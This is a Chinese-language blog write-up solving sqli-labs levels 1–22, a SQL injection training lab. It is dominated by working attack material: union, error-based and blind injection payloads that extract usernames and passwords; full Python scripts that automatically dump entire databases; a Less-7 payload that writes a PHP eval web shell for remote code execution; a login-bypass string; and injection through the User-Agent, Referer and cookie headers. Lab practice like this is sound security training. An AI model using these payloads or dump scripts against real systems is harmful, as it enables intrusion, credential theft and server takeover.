【sqli-labs】 page-1 Less 1-22

基础

information_chema 库

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

靶场中主要使用 tables、columns 两张表

tables 表具有table_schematable_name两个字段。

  • table_schema所属库
  • table_name表名

columns 表具有 table_schematable_namecolumn_name三个字段

  • table_schema所属库

  • table_name所属表

  • columns_name字段名

GET 传参基于报错注入

主要目标是获取用户的账号、密码

less-1

漏洞验证

# 正常显示
http://192.168.124.16:8080/Less-1/?id=1

# 错误显示
http://192.168.124.16:8080/Less-1/?id=1'

会爆出错误

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

关键点在于 ''1'' LIMIT 0,1',这里单引号是 5 个。

如果我们再多一个单引号,或者将后面语句注释掉

?id=1''
?id=1' --+

正确显示,证明这种方法可行

原因

-- SQL 语句是这样,用单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1

-- id=1' 
SELECT * FROM users WHERE id='1'' LIMIT 0,1

即:'1'' LIMIT 0,1

我们输入的单引号会跟前面形成闭合,即 '1'' LIMIT 0,1 后面那个单引号没有闭合,会产生错误

这时我们考虑给多出来的单引号配对或是注释,会解决这个问题

-- id=1''
SELECT * FROM users WHERE id='1''' LIMIT 0,1

-- id=1' --+
SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1

在此扩展一下如何判断单双引号以及是否含有括号闭合

常用闭合:数字型、字符型(单双引号、括号、混合)

1、数字型(没有闭合)

数字型特点:无论什么闭合都会错误

?id=1'		# 错误
?id=1''		# 错误

?id=1"		# 错误
?id=1""		# 错误

?id=1)		# 错误
?id=1)(		# 错误

2、字符型

1)单闭合

单闭合就是用单引号、双引号、括号中的一个进行闭合,判断方法

select username,password from users where id = '$id' limit 0,1;		# 单引号闭合的 sql 语句

# 输入奇数个单引号报错,可以判断原 sql 语句没有使用双引号
?id=1'		# 错误

# 输入偶数个单引号正确,可以判断是使用了单引号的字符型
?id=1''		# 正确

# 双引号、括号也是同理,主要查看奇数个、偶数个差别

2)混合闭合

混合闭合稍微提升了一点难度,主要是单引号+括号、双引号+括号。单引号+括号+双引号、双引号+括号+单引号少见

select username,password from users where id = ('$id') limit 0,1;	# 单引号+括号闭合的 sql 语句

# 如果输入单引号闭合
?id=1'		# 报错是显而易见的
?id=1''		# 如果是两个单引号,就不会报错

# 放进 sql 语句则是,对括号似乎没有影响
select username,password from users where id = ('$id''') limit 0,1;
# 但你会在下一步报错
?id=0' union select 1,2,3--+	# 这步必报错,放进 sql 语句查看
select username,password from users where id = ('0' union select 1,2,3 --+) limit 0,1;
# 相当于,这样当然会报错
select username,password from users where id = ('0' union select 1,2,3

# 判断方法(假如是由 单引号+括号 闭合)
?id=2' 				# 判断单引号
?id=2' and 1='1		# 判断括号
# 我们都知道:and、or 的结果不是 1 就是 0,
# id=('1') 、id=('1' and '1'),这两种情况结果相同,但不能确定括号
# id=('2') 、id=('2' and '1'),这两种情况结果不相同,是两种结果

漏洞利用

-- 常规确定字段、爆库、爆表、爆字段

-- 确定字段数
?id=0' order by 4 --+		# 4 报错
?id=0' order by 3 --+		# 3 正确,说明一共有 3 个字段

-- 确定字段使用位置
?id=0' union select 1,2,3 --+

-- 爆库

-- 爆表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();   --+

-- 爆字段
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users';   --+

-- 
?id=0' union select 1,group_concat(username),group_concat(password) from users;   --+

less-2

漏洞验证

?id=1'		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

奇数个单引号,跟第一题一模一样

?id=1''		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1

这下是偶数个单引号了,有没有可能 SQL 语句没有使用单引号

?id=1 --+ 	# 正确

这下对了

漏洞利用

?id=0 order by 4 --+
?id=0 order by 3 --+

剩余步骤参考 less-1

less-3

?id=1'	 	# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

'1'') LIMIT 0,1

根据错误信息一下看出使用 ') 闭合。

less-4

漏洞验证

?id=1'  	# 正确

似乎单引号直接闭合,试试 less-3 的闭合

?id=1')  	# 正确

补充知识点:如果字符串是数字在前,其他符号在后则无视数字后的字符。

单引号不行,还剩双引号

?id=1"		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

很明显,使用 ") 闭合

less-5

漏洞验证

?id=1'	# 错误

单引号闭合。不显示 username、password,但有报错

updatexml()、extractvalue()、floor()、ceil()
  • updatexml()、extractvalue() 较为类似

    MySQL 5.1.5 版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

extarctvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

两函数都是执行失败返回 xpath 错误内容

  • floor()、ceil() 较为复杂,利用rand() 的多次调用group by 的虚拟表的特性。虚拟表出现重复值,会返回该值

payload

1、updatexml

# updatexml 报错
# 爆库
?id=1' and updatexml('~',concat(1,database()),'~') --+
# 爆表
?id=1' and updatexml('~',concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'~')  --+

2、extractvalue

# extractvalue 报错
# 爆库
?id=1' and extractvalue(1,concat(1,database())) --+
# 爆表
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3、floor、ceil

# floor 报错
# ceil 与 floor 用法一致

# 爆库
# 写法一
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+

# 写法二
?id=1' and (select * from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

# 爆表,只能一条一条显示,可以用 linit 获取全部数据
?id=1' and (select * from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

Less-6

用双引号闭合,与上一题一致

Less-7

'))闭合,要求用 outfile 方式

条件:

  • 数据库具有 secure_file_priv 权限(只能通过配置文件改)
  • 数据库具有创建/写入文件权限

靶机环境:linux 下的 docker 容器

1、查看 secure_file_priv 权限

show global variables like '%secure%';		# sql 查询 secure_file_priv 权限

cat /etc/mysql/my.cnf	|grep tmp		# linux 下查看配置文件 tmpdir = /tmp 就行

2、更改文件权限

chmod 777 /var/www/html/Less-7		# 这条改了不行就用下面的
chown -R mysql:mysql /var/www/html/Less-7	# linux 命令

payload

?id=1')) union select 1,1,"<?php eval($_GET[1])?>"  into outfile "/var/www/html/Less-7/1.php" --+

访问 http://192.168.148.131:8080/Less-7/1.php,出现下列界面说明导出成功(如果 payload 跟我一致)

验证一下:访问http://192.168.148.131:8080/Less-7/1.php?1=phpinfo()刷新,成功,这下从 SQL 注入变成 RCE

盲注

盲注分为布尔盲注、时间盲注

Less-8

单引号闭合。

正确会显示You are in...........,错误没有任何信息。非常符合盲注的特性,正确错误两个状态

漏洞验证

?id=1' and '1	# 正确
?id=1' and '0	# 错误

# 用 if 替换
?id=1' and if(2>1,1,0) # 正确

# 手工爆库,已知库名为 security,我们需要一个字母一个字母判断
# 布尔盲注
# 使用 substr 函数切片,转换成 ascii 码,二分法判断
?id=1' and if(ascii(substr(database(),1,1))>45,1,0)  --+
# 不用 ascii 码判断也行
?id=1' and if(ascii(substr(database(),1,1))='a',1,0)  --+

# 时间盲注
?id=1' and sleep(5)	# 非常明显的延迟感
?id=1' and if(2>1,sleep(5),0) # 判断正确,延迟 5 秒,错误,没有延迟

# 利用延迟感来判断是否正确
?id=1' and if(ascii(substr(database(),1,1))>45,sleep(5),0)  --+

盲注对于手工来说非常耗时,一般都是使用脚本或者 sqlmap,下面给出布尔注入的脚本,时间盲注脚本类似

python 脚本

半自动化,需要手工选择爆库、爆表、爆字段(便于理解,后面有自动化脱库脚本)

import requests
import string
# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-8/'		# 改成你的 IP

# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串。
letter = string.ascii_lowercase + string.punctuation + string.digits
letter = letter.replace('+','')
# letter = string.printable     # 包含特殊字符、数字、大小写字母
index = 1	# 初始位
st = ''		# 初始值

while True:
    limit = 1   # 防止死循环
    for i in letter:
        # 爆库
        data = f"?id=1' and if(substr((database()),{index},1)='{i}',1,0) --+"

        # # 爆表
        # data = f"?id=1' and if(substr((select group_concat(table_name) " \
        #        f"from information_schema.tables where table_schema=database()),{index},1)='{i}',1,0) --+"

        # # 爆字段
        # data = f"?id=1' and if(substr((select group_concat(column_name) " \
        #        f"from information_schema.columns where table_name='users'),{index},1)='{i}',1,0) --+"

        # # 枚举所有 password
        # data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',1,0) --+"

        # # 枚举所有 username
        # data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',1,0) --+"

        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型


        if 'You are in...........' in respond:
            st += i     # 获取正确值
            limit = 0   # 防止死循环
            print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
            index += 1  # 下一位
            break

    if limit == 1: break        # 防止死循环
print(st)

优化:不需要手动选择爆库、爆表,全自动化,只需要改 url,选择获取当前库数据,还是所有库数据

缺点:若数据库中数据过大,非常耗时,脱库应该一条记录一条记录取出,而不是一个字段一个字段取出

改进方案:多进程编码减少时间,group_concat()改为concat_ws(group_concat()),按记录获取数据

import requests,time
import string,json

# 记录运行时间
start_time = time.time()

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.digits + string.punctuation
letter = letter.replace('+','')

def payloads(*args):
    # 当前库
    def database():
        name = 'database()'
        fro = ''
        where = ''
        return (name, fro, where)

    # 所有库
    def databases():
        name = 'schema_name'
        fro = 'from information_schema.schemata'
        where = ''
        return (name, fro, where)

    def tables(database):
        name = 'table_name'
        fro = 'from information_schema.tables'
        where = f"where table_schema = '{database}'"
        return (name, fro, where)

    def columns(table,database):
        name = 'column_name'
        fro = f'from information_schema.columns'
        where = f"where table_name = '{table}' and table_schema ='{database}'"
        return (name, fro, where)

    def datas(table, column):
        name = column
        fro = f'from {table}'
        where = ''
        return (name, fro, where)

    target = args[0]

    match target:
        case 'current_database':parameter = database()
        case 'all_databases':parameter = databases()
        case 'tables':parameter = tables(*args[1:])
        case 'columns':parameter = columns(*args[1:])
        case 'data':parameter = datas(*args[1:])
    name, fro, where = parameter

    len_pay = f"?id=1' and if(length((select group_concat({name}) {fro} {where}))<=[count],1,0) --+"
    data_pay = f"?id=1' and if(ord(substr((select group_concat({name}) {fro} {where}),[index],1))<=[count],1,0) --+"
    return len_pay,data_pay

# 发送
def send(url):
    respond = requests.get(url)  # 获取页面代码
    respond = respond.text
    return respond

# 判断
def determine(text):
    return True if 'You are in...........' in text else False


def getData(url,*args):
    tmp = ''
    # 获取payload
    pay_len, pay_data = payloads(*args)

    # 获取长度,二分法
    max = 1024
    down1, up1 = 0, max      #
    for i in range(up1):
        rang = [down1, up1]
        le = sum(rang) // 2

        # 空表判断
        if i == 0:
            pay = pay_len.replace('<=[count]',' is null')
            if determine(send(url+pay)):return 'NULL'

        # 获取长度
        pay = pay_len.replace('[count]',str(le))
        data = send(url+pay)

        if down1+1 == max:
            max *= 10
            up1 = max

        if determine(data):up1 = le
        else:down1 = le
        if up1-down1==1:break

    # 获取数据
    for index in range(1,up1+1):
        pay1 = pay_data.replace('[index]', str(index))

        down2,up2 = 31,126
        for i in letter:
            rang = [down2, up2]
            stIndex = sum(rang) // 2

            pay2 = pay1.replace('[count]',str(stIndex))
            data = send(url+pay2)
            if determine(data):up2 = stIndex
            else:down2 = stIndex
            if up2-down2==1:
                tmp += chr(up2 if down2 != 32 else down2)
                print(f'\r{tmp}',end='')
                break
    print('\r',end='')
    return tmp

def run(url,target):
    allData = {}

    databases = getData(url, target).split(',')
    print(f'[+] 目标库:{','.join(databases)}')

    # 库
    for database in databases:
        print(f'[+] -------------------------- {database} 库 --------------------------')
        allData[database] = {}
        tables = getData(url, 'tables', database).split(',')
        print(f'\r[+] {database} 库所有表:{','.join(tables)}')

        # 表
        for table in tables:
            print()
            print(f'[+] --------------- {database+'.'+table} 表 ---------------')
            allData[database][table] = {}
            columns = getData(url, 'columns', table,database).split(',')
            print(f'\r[+] {table} 表所有字段:{','.join(columns)}')

            # 字段
            for column in columns:
                allData[database][table][column] = []

                # 按字段获取数据
                data = getData(url, 'data', database+'.'+table, column)
                allData[database][table][column].append(data)
                print(f'\r[+] {column} 字段所有值:{data}')
            else:print()

    return allData

if __name__ == '__main__':
    # sqli-lab 用小皮搭建
    url = 'http://www.sqlilabs.com/Less-8/'     # 改成你的 IP

    # 当前库
    data = run(url,'current_database')

    # # 所有库
    # data = run(url, 'all_databases')
    print('[+] -------------------------- 所有数据 --------------------------')
    print(json.dumps(data,indent=4))

end_time = time.time()
print('运行耗时:',end_time-start_time)

Less-9

单引号闭合,sql 语句不是数字型就是字符型,字符型通常用单双引号、括号闭合,或者混合闭合

漏洞验证

# 数字型尝试
?id=1 and 1=1
?id=1 and 1=2

# 字符型尝试
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
...

# 以上没有任何反应,是对是错不能分辨,报错注入、布尔盲注基本排除
# 考虑 sleep 函数是否可行

?id=1 and sleep(5)  --+
?id=1' and sleep(5)	 --+	# 有明显延迟感觉,可以考虑时间盲注

Less-9 源代码,很明显,故意正确错误都不显示

if($row)	# 正确
	{ 
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    echo "</font>";
  	}else {		# 错误
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

时间盲注脚本,由于计算机速度非常快,这里只需要延迟 0.2 秒即可。半自动化

import requests
import string
import time

# sqli-lab 用小皮搭建
url = 'http://www.sqlilabs.com/Less-9/'  # 改成你的 IP

# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串
letter = string.ascii_lowercase + string.punctuation + string.digits
letter = letter.replace('+','')
# letter = string.printable     # 包含特殊字符、数字、大小写字母
index = 1  # 初始位
st = ''  # 初始值

while True:
    limit = 1  # 防止死循环
    for i in letter:
        # 爆库
        data = f"?id=1' and if(substr((database()),{index},1)='{i}',sleep(0.3),0) --+"

        # # 爆表
        # data = f"?id=1' and if(substr((select group_concat(table_name) " \
        #        f"from information_schema.tables where table_schema=database()),{index},1)='{i}',sleep(0.2),0) --+"

        # # 爆字段
        # data = f"?id=1' and if(substr((select group_concat(column_name) " \
        #        f"from information_schema.columns where table_name='users'),{index},1)='{i}',sleep(0.2),0) --+"

        # # 枚举所有 password
        # data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',sleep(0.2),0) --+"

        # # 枚举所有 username
        # data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',sleep(0.2),0) --+"

        start_time = time.perf_counter()  # 执行开始时间
        respond = requests.get(url + data)  # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        end_time = time.perf_counter()  # 执行结束时间

        if end_time - start_time >= 0.2:
            st += i  # 获取正确值
            limit = 0  # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
            print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
            index += 1  # 下一位
            break

    if limit == 1: break  # 防止死循环
print(st)

全自动化,Less-8 脚本随便改改

import requests,time
import string,json

# 记录运行时间
start_time = time.time()

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.digits + string.punctuation
letter = letter.replace('+','')

def payloads(*args):
    # 当前库
    def database():
        name = 'database()'
        fro = ''
        where = ''
        return (name, fro, where)

    # 所有库
    def databases():
        name = 'schema_name'
        fro = 'from information_schema.schemata'
        where = ''
        return (name, fro, where)

    def tables(database):
        name = 'table_name'
        fro = 'from information_schema.tables'
        where = f"where table_schema = '{database}'"
        return (name, fro, where)

    def columns(table,database):
        name = 'column_name'
        fro = f'from information_schema.columns'
        where = f"where table_name = '{table}' and table_schema ='{database}'"
        return (name, fro, where)

    def datas(table, column):
        name = column
        fro = f'from {table}'
        where = ''
        return (name, fro, where)

    target = args[0]

    match target:
        case 'current_database':parameter = database()
        case 'all_databases':parameter = databases()
        case 'tables':parameter = tables(*args[1:])
        case 'columns':parameter = columns(*args[1:])
        case 'data':parameter = datas(*args[1:])
    name, fro, where = parameter

    len_pay = f"?id=1' and if(length((select group_concat({name}) {fro} {where}))<=[count],sleep(0.2),0) --+"
    data_pay = f"?id=1' and if(ord(substr((select group_concat({name}) {fro} {where}),[index],1))<=[count],sleep(0.2),0) --+"
    return len_pay,data_pay

# 发送
def send(url):
    start = time.time()
    respond = requests.get(url)  # 获取页面代码
    respond = respond.text
    end = time.time()
    return end-start

# 判断
def determine(time):
    return True if time>0.2 else False


def getData(url,*args):
    tmp = ''
    # 获取payload
    pay_len, pay_data = payloads(*args)

    # 获取长度,二分法
    max = 1024
    down1, up1 = 0, max      #
    for i in range(up1):
        rang = [down1, up1]
        le = sum(rang) // 2

        # 空表判断
        if i == 0:
            pay = pay_len.replace('<=[count]',' is null')
            if determine(send(url+pay)):return 'NULL'

        # 获取长度
        pay = pay_len.replace('[count]',str(le))
        data = send(url+pay)

        if down1+1 == max:
            max *= 10
            up1 = max

        if determine(data):up1 = le
        else:down1 = le
        if up1-down1==1:break

    # 获取数据
    for index in range(1,up1+1):
        pay1 = pay_data.replace('[index]', str(index))

        down2,up2 = 31,126
        for i in letter:
            rang = [down2, up2]
            stIndex = sum(rang) // 2

            pay2 = pay1.replace('[count]',str(stIndex))
            data = send(url+pay2)
            if determine(data):up2 = stIndex
            else:down2 = stIndex
            if up2-down2==1:
                tmp += chr(up2 if down2 != 32 else down2)
                print(f'\r{tmp}',end='')
                break
    print('\r',end='')
    return tmp

def run(url,target):
    allData = {}

    databases = getData(url, target).split(',')
    print(f'[+] 目标库:{','.join(databases)}')

    # 库
    for database in databases:
        print(f'[+] -------------------------- {database} 库 --------------------------')
        allData[database] = {}
        tables = getData(url, 'tables', database).split(',')
        print(f'\r[+] {database} 库所有表:{','.join(tables)}')

        # 表
        for table in tables:
            print()
            print(f'[+] --------------- {database+'.'+table} 表 ---------------')
            allData[database][table] = {}
            columns = getData(url, 'columns', table,database).split(',')
            print(f'\r[+] {table} 表所有字段:{','.join(columns)}')

            # 字段
            for column in columns:
                allData[database][table][column] = []

                # 按字段获取数据
                data = getData(url, 'data', database+'.'+table, column)
                allData[database][table][column].append(data)
                print(f'\r[+] {column} 字段所有值:{data}')
            else:print()

    return allData

def show(data):
    data = str(data).replace('{','{\n').replace('}','}\n')
    return data


if __name__ == '__main__':
    # sqli-lab 用小皮搭建
    url = 'http://www.sqlilabs.com/Less-9/'     # 改成你的 IP

    # 当前库
    data = run(url,'current_database')

    # # 所有库
    # data = run(url, 'all_databases')
    print('[+] -------------------------- 所有数据 --------------------------')
    print(json.dumps(data,indent=4))


end_time = time.time()
print('运行耗时:',end_time-start_time)

Less-10

双引号闭合,将 Less-9 脚本中的所有单双引号对调即可

PSOT 传参基于报错注入

主要目标是登录成功

Less-11

漏洞验证

uname	1'
passwd 1234

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234' LIMIT 0,1' at line 1

我们在 uname 框输入单引号,但错误信息中1234' LIMIT 0,1这部分似乎是我们输入的密码,而我们密码并没有输入单引号。猜测部分 SQL 语句为:

where uname = '$uname' and passwd = '$passwd' limit 0,1

原本闭合应该是这样:where uname = '1'' and passwd = '1234' limit 0,1

但实际上却变成这样:where uname = '1'' and passwd = '1234' limit 0,1

单引号闭合

如果 where 条件变成:where 1 那么相当于没有 where 条件限制

万能密码:

uname	0' or 1=1 #
passwd	1234

Less-12

")闭合

Less-13

')闭合

Less-14

"闭合

Less-15 无回显

SQL 语句闭合不外乎'")三种或是它们组合

uname	admin' and sleep(3)#
passwd	1234

'闭合

Less-16 无回显

")闭合

Less-17 密码重置页面

页面给出提示,很显然 SQL 语句应该是 update

[PASSWORD RESET]

后端对 uname 进行过滤,单双引号都会出现提示。可以尝试对 passwd 进行注入

uname	admin
passwd	1'

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

有报错信息就使用报错注入

uname	admin
passwd	1' and updatexml(1,concat(1,database()),1)#

updatexml 常规爆库爆表

记得将 admin 密码修改回来

HTTP 协议

Less-18

页面信息,获取了本机 IP

Your IP ADDRESS is: 192.168.124.2

uname、passwd 框,单双引号、括号都不行,用正确的账号密码登录

uname	admin
passwd	admin

正确登录后发现,页面获取了 HTTP 的 UA 头

Your User Agent is: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

也许可以在 UA 头搞事情

抓包,F12,再次提交正确的账号密码

1)找到网络,打开数据包

2)重发数据包(最右侧)

3)修改数据包内容,主要修改 UA 头,修改后发送

4)查看响应内容(选择最新的数据包,被选中的数据包是蓝色),有报错信息,可以使用报错注入(注意闭合条件)

5)爆库

Less-19

先正确登录,账号:admin,密码:admin

Your Referer is: http://192.168.124.16:8080/Less-19/

提示 referer ,burp 抓包

1)修改 referer 头,添加单引号,报错,说明单引号闭合

2)单引号闭合,但最后需要添加 )

爆库

Less-20

先正确登录,账号:admin,密码:admin

界面如下,提示 cookie

1)F12,找到 cookie

2)修改 cookie

3)爆库

Less-21

同样使用 admin 登录,发现 cookie 中 uname 值不是 admin

YOUR COOKIE : uname = YWRtaW4= and expires: Sun 19 Nov 2023 - 11:52:49

很典型的 base64 编码特征

方法及步骤与 Less-20 一致,将 Less-20 的 payload 用 base64 编码一下就好

Less-22

方法与步骤同 Less-21,注意闭合

posted @ 2023-12-08 22:17  kazie  阅读(46)  评论(0编辑  收藏  举报